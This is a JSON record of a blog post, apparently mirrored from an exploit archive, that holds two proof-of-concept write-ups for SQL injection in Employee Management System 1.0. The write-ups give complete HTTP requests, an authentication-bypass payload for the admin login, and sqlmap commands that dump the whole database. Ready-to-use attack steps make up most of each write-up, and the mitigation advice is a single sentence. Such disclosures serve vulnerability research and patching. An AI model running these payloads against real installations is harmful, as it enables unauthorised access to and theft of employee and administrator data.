{"id":55803,"date":"2024-04-03T01:11:15","date_gmt":"2024-04-02T21:11:15","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177874\/ems10txt-sql.txt"},"modified":"2024-04-03T01:11:15","modified_gmt":"2024-04-02T21:11:15","slug":"employee-management-system-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/employee-management-system-1-0-sql-injection\/","title":{"rendered":"Employee Management System 1.0 SQL Injection"},"content":{"rendered":"<p># Exploit Title: Employee Management System 1.0 &#8211; `txtfullname` and `txtphone` SQL Injection<br \/># Date: 2 Feb 2024<br \/># Exploit Author: Yevhenii Butenko<br \/># Vendor Homepage: https:\/\/www.sourcecodester.com<br \/># Software Link: https:\/\/www.sourcecodester.com\/php\/16999\/employee-management-system.html<br \/># Version: 1.0<br \/># Tested on: Debian<br \/># CVE : CVE-2024-24499<\/p>\n<p>### SQL Injection:<\/p>\n<p>&gt; SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or &#8220;injection&#8221; of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert\/Update\/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.<\/p>\n<p>### Affected Components:<\/p>\n<p>&gt; \/employee_akpoly\/Admin\/edit_profile.php<\/p>\n<p>&gt; Two parameters `txtfullname` and `txtphone` within admin edit profile mechanism are vulnerable to SQL Injection.<\/p>\n<p>![txtfullname](https:\/\/github.com\/0xQRx\/VunerabilityResearch\/blob\/master\/2024\/img\/admin_edit_txtfullname_sqli.png?raw=true)<\/p>\n<p>![txtphone](https:\/\/github.com\/0xQRx\/VunerabilityResearch\/blob\/master\/2024\/img\/admin_edit_txtphone_sqli.png?raw=true)<\/p>\n<p>### Description:<\/p>\n<p>&gt; The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.<\/p>\n<p>## Proof of Concept:<\/p>\n<p>### SQLMap<\/p>\n<p>Save the following request to `edit_profile.txt`:<\/p>\n<p>&#8220;`<br \/>POST \/employee_akpoly\/Admin\/edit_profile.php HTTP\/1.1<br \/>Host: localhost<br \/>User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8<br \/>Accept-Language: en-US,en;q=0.5<br \/>Accept-Encoding: gzip, deflate, br<br \/>Content-Type: application\/x-www-form-urlencoded<br \/>Content-Length: 88<br \/>Origin: http:\/\/localhost<br \/>Connection: close<br \/>Referer: http:\/\/localhost\/employee_akpoly\/Admin\/edit_profile.php<br \/>Upgrade-Insecure-Requests: 1<br \/>Sec-Fetch-Dest: document<br \/>Sec-Fetch-Mode: navigate<br \/>Sec-Fetch-Site: same-origin<br \/>Sec-Fetch-User: ?1<\/p>\n<p>txtfullname=Caroline+Bassey&amp;txtphone=0905656&amp;old_image=uploadImage%2Fbird.jpg&amp;btnupdate=<br \/>&#8220;`<\/p>\n<p>Use `sqlmap` with `-r` option to exploit the vulnerability:<\/p>\n<p>&#8220;`<br \/>sqlmap -r edit_profile.txt &#8211;level 5 &#8211;risk 3 &#8211;batch &#8211;dbms MYSQL &#8211;dump<br \/>&#8220;`<\/p>\n<p>## Recommendations<\/p>\n<p>When using this Employee Management System, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/># Exploit Title: Employee Management System 1.0 &#8211; `txtusername` and `txtpassword` SQL Injection (Admin Login)<br \/># Date: 2 Feb 2024<br \/># Exploit Author: Yevhenii Butenko<br \/># Vendor Homepage: https:\/\/www.sourcecodester.com<br \/># Software Link: https:\/\/www.sourcecodester.com\/php\/16999\/employee-management-system.html<br \/># Version: 1.0<br \/># Tested on: Debian<br \/># CVE : CVE-2024-24497<\/p>\n<p>### SQL Injection:<\/p>\n<p>&gt; SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or &#8220;injection&#8221; of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert\/Update\/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.<\/p>\n<p>### Affected Components:<\/p>\n<p>&gt; \/employee_akpoly\/Admin\/login.php<\/p>\n<p>&gt; Two parameters `txtusername` and `txtpassword` within admin login mechanism are vulnerable to SQL Injection.<\/p>\n<p>![txtusername](https:\/\/github.com\/0xQRx\/VunerabilityResearch\/blob\/master\/2024\/img\/admin_login_txtusername_sqli.png?raw=true)<br \/>![txtpassword](https:\/\/github.com\/0xQRx\/VunerabilityResearch\/blob\/master\/2024\/img\/admin_login_txtpassword_sqli.png?raw=true)<\/p>\n<p>### Description:<\/p>\n<p>&gt; The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.<\/p>\n<p>## Proof of Concept:<\/p>\n<p>### Manual Exploitation<\/p>\n<p>The payload `&#8217; and 1=1&#8211; -` can be used to bypass authentication within admin login page.<\/p>\n<p>&#8220;`<br \/>POST \/employee_akpoly\/Admin\/login.php HTTP\/1.1<br \/>Host: localhost<br \/>User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8<br \/>Accept-Language: en-US,en;q=0.5<br \/>Accept-Encoding: gzip, deflate, br<br \/>Content-Type: application\/x-www-form-urlencoded<br \/>Content-Length: 61<br \/>Origin: http:\/\/localhost<br \/>Connection: close<br \/>Referer: http:\/\/localhost\/employee_akpoly\/Admin\/login.php<br \/>Cookie: PHPSESSID=lcb84k6drd2tepn90ehe7p9n20<br \/>Upgrade-Insecure-Requests: 1<br \/>Sec-Fetch-Dest: document<br \/>Sec-Fetch-Mode: navigate<br \/>Sec-Fetch-Site: same-origin<br \/>Sec-Fetch-User: ?1<\/p>\n<p>txtusername=admin&#8217; and 1=1&#8211; -&amp;txtpassword=password&amp;btnlogin=<br \/>&#8220;`<\/p>\n<p>### SQLMap<\/p>\n<p>Save the following request to `admin_login.txt`:<\/p>\n<p>&#8220;`<br \/>POST \/employee_akpoly\/Admin\/login.php HTTP\/1.1<br \/>Host: localhost<br \/>User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8<br \/>Accept-Language: en-US,en;q=0.5<br \/>Accept-Encoding: gzip, deflate, br<br \/>Content-Type: application\/x-www-form-urlencoded<br \/>Content-Length: 62<br \/>Origin: http:\/\/localhost<br \/>Connection: close<br \/>Referer: http:\/\/localhost\/employee_akpoly\/Admin\/login.php<br \/>Upgrade-Insecure-Requests: 1<br \/>Sec-Fetch-Dest: document<br \/>Sec-Fetch-Mode: navigate<br \/>Sec-Fetch-Site: same-origin<br \/>Sec-Fetch-User: ?1<\/p>\n<p>txtusername=admin&amp;txtpassword=password&amp;btnlogin=<br \/>&#8220;`<\/p>\n<p>Use `sqlmap` with `-r` option to exploit the vulnerability:<\/p>\n<p>&#8220;`<br \/>sqlmap -r admin_login.txt &#8211;level 5 &#8211;risk 3 &#8211;batch &#8211;dbms MYSQL &#8211;dump<br \/>&#8220;`<\/p>\n<p>## Recommendations<\/p>\n<p>When using this Employee Management System, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Employee Management System 1.0 &#8211; `txtfullname` and `txtphone` SQL Injection# Date: 2 Feb 2024# Exploit Author: Yevhenii Butenko# Vendor Homepage: https:\/\/www.sourcecodester.com# Software Link: https:\/\/www.sourcecodester.com\/php\/16999\/employee-management-system.html# Version: 1.0# Tested on: Debian# CVE : CVE-2024-24499 ### SQL Injection: &gt; SQL injection is a type of security vulnerability that allows an attacker to interfere with the &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-55803","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55803","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=55803"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55803\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=55803"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=55803"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=55803"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}